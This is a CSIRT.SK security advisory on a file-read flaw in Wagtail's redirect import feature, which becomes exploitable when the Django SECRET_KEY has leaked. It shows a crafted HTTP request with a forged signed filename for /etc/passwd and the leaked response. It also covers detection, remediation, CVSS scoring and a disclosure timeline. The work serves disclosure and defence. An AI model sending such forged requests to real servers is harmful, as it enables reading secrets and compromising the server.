MINISTERSTVO
INVESTÍCIÍ, REGIONÁLNEHO ROZVOJA
A INFORMATIZÁCIE
SLOVENSKEJ REPUBLIKY

CSIRT.SK

When a Leaked Django SECRET_KEY Becomes Worse: A Case Study in Wagtail

Created by: CSIRT.SK
Ministerstvo investícií, regionálneho rozvoja a informatizácie SR
Pribinova 25
811 09 Bratislava

Date of creation: October 2025

TLP: Clear

Introduction

In the Django ecosystem, the **`SECRET_KEY`** is already a highly sensitive value. Its leakage typically allows attackers to forge tokens, reset passwords, or hijack sessions in certain configurations. However, while investigating Wagtail's **`redirects`** module, our colleague discovered a case where a leaked **`SECRET_KEY`** could escalate beyond user/session abuse and enable **server-side file reads**. Python script for exploitation of this vulnerability is available on our colleague's [github](https://github.com/Habuon/wagtail-lfi).

Vulnerability Overview

File: **`wagtail/contrib/redirects/tmp_storages.py`**

Line: 72

```
return os.path.join(tempfile.gettempdir(), self.name)
```

The **`self.name`** value originates from a signed parameter in the request. While the signing mechanism ensures integrity, it does not sanitize the contents. If an attacker can forge valid signatures (possible if they possess the Django **`SECRET_KEY`**), they can supply filenames such as **`/etc/passwd`**. The code concatenates this unchecked value into the filesystem path, effectively allowing traversal outside the intended temporary directory.

Exploitation Conditions

To exploit this issue, an attacker must:

1. **Know the Django SECRET_KEY** - already a serious breach.
2. **Hold a valid Wagtail account** with permission to add redirects.
3. **Craft a malicious signed filename** pointing to sensitive files.

If these conditions are met, the attacker can exfiltrate arbitrary files from the server. The example request containing valid session for highly privileged user is as follows:

HTTP request:

```
POST /admin/redirects/import/process/ HTTP/1.1
Host: localhost:8000
Cookie: csrftoken=JnnVucJbHd8qEaLPg1Sgr4jakrqxBJeO;
sessionid=1y21vfn0g6thvfp06c2sooiu0symurie
Content-Length: 492
Content-Type: multipart/form-data; boundary=58070cece7e28a1b1230238d327e961c

```

TLP: Clear

```
--58070cece7e28a1b1230238d327e961c
Content-Disposition: form-data; name="csrfmiddlewaretoken"

f1Eii97cre31xBWPvNBkysKEXJL0iEAKOeR3CbGdYh1h1BxuBEjqPmTE701nJdEo
--58070cece7e28a1b1230238d327e961c
Content-Disposition: form-data; name="import_file_name"

/etc/passwd:EOyyi1lH0t4QL209IuRxanXgAstgxxxCA3NCAr4JPn8
--58070cece7e28a1b1230238d327e961c
Content-Disposition: form-data; name="input_format"

0:DmT0RMY6RdLc70Vt7wiYA32_Cl4z5UK1pBBI_ybYFGE
--58070cece7e28a1b1230238d327e961c--
```

The response to this request contains contents of the `/etc/passwd` file that was requested.

HTTP Response:

```
HTTP/1.1 200 OK
Server: WSGIServer/0.2 CPython/3.13.3
Content-Type: text/html; charset=utf-8
...
Content-Length: 38988



<html lang="en-us" dir="ltr" class="w-theme-system w-density-default w-contrast-system">
  ...
  <form action="/admin/redirects/import/process/" method="POST" class="nice-padding" 
novalidate enctype="multipart/form-data">
  ...
    <h2>Preview</h2>
    <table class="listing listing-with-x-scroll">
      <thead>
        <tr><td>root:x:0:0:root:/root:/usr/bin/zsh</td></tr>
      </thead>
      <tbody>
          <tr><td>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin</td></tr>
          ...
          <tr><td>redis:x:129:131::/var/lib/redis:/usr/sbin/nologin</td></tr>
          <tr><td>kali:x:1000:1000::/home/kali:/usr/bin/zsh</td></tr>
      </tbody>
    </table>
  </form>
  ...
</html>
```

Security Impact

While compromising **`SECRET_KEY`** is catastrophic on its own, typical attacks remain at the **application/user level** (session forgery, token signing). This vulnerability increases the impact by extending it to the **server level**, enabling access to:

- Environment files (**`.env`**)
- Source code
- Private keys (SSH, API credentials)
- Configuration files

This effectively turns a cryptographic key leak into a **local file inclusion (LFI)** issue.

Example scenario - exposed .git plus leaked SECRET_KEY

A realistic and common way a **`SECRET_KEY`** becomes exposed is through accidental commits that include configuration files, **`.env`**, **`.git`** directory publicly available on server or an exposed backup. Imagine a developer accidentally pushes an unignored **`settings.py`** containing **`SECRET_KEY`**. An attacker who clones the repository or retrieves the exposed **`.git`** data can easily extract the **`SECRET_KEY`** and other sensitive config values.

In this situation the vulnerability we discussed becomes materially worse. With the leaked **`SECRET_KEY`** an attacker who also controls (or compromises) a Wagtail account with sufficient permissions can forge a signed filename and use the import endpoint to read arbitrary files from the server. That file-read capability may allow the attacker to harvest additional secrets — for example, .env files, database credentials, SSH keys, or API tokens — which can in turn enable full server compromise. In short: an initial repository leak that exposes **`SECRET_KEY`** can cascade into a full breach when combined with the unchecked filename usage.

Detection hints

- Scan commit history for accidentally committed settings.py, .env, or any file containing **`SECRET_KEY`**.
- On the server, look for unexpected access patterns to admin endpoints (import endpoints, redirect imports) and unusual file reads by the web process.

- Check logs for requests to the import endpoint that include unusual filename strings containing ../, absolute paths, or long path segments.

Immediate remediation if you find a leak

1. Rotate the `SECRET_KEY` immediately and plan for the side effects (invalidate signed cookies/tokens).
2. Rotate any other secrets found in the repo or on the server (DB passwords, API keys, SSH keys).
3. Remove the exposed `.git` or any sensitive files from public access and rewrite history where feasible (e.g., git filter-repo or bfg) — note that simply deleting a file from a repo does not remove it from history.
4. Force password resets for admin users if you suspect session or token forgery.
5. Audit and monitor for suspicious admin activity and new unknown keys appearing in logs or configs.

CVSS Assessment

Using CVSS v3.1, we scored the issue as follows:

```
AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:N/A:N
```

Base Score: 5.8 (Medium)

While the attack requires high privileges and prior compromise of the `SECRET_KEY`, the confidentiality impact is high due to server file exposure.

Broader Lesson

This case is not about Wagtail being insecure "out of the box". It's about how **trust in cryptographic signatures must not replace basic input validation**. Even when parameters are signed, their contents still need sanitization. Defense in depth matters.

Timeline

- **2025-09:** Issue identified and reported to Wagtail Security.
- **2025-09:** Security team assessed it as not a vulnerability (since `SECRET_KEY` leakage is already catastrophic) but agreed the code should be hardened.

Conclusion

While this issue requires multiple preconditions and may not qualify as a formal vulnerability, it highlights a subtle but important security lesson. Developers should validate and constrain filenames regardless of signing and treat the `SECRET_KEY` as a critical part of their application security posture.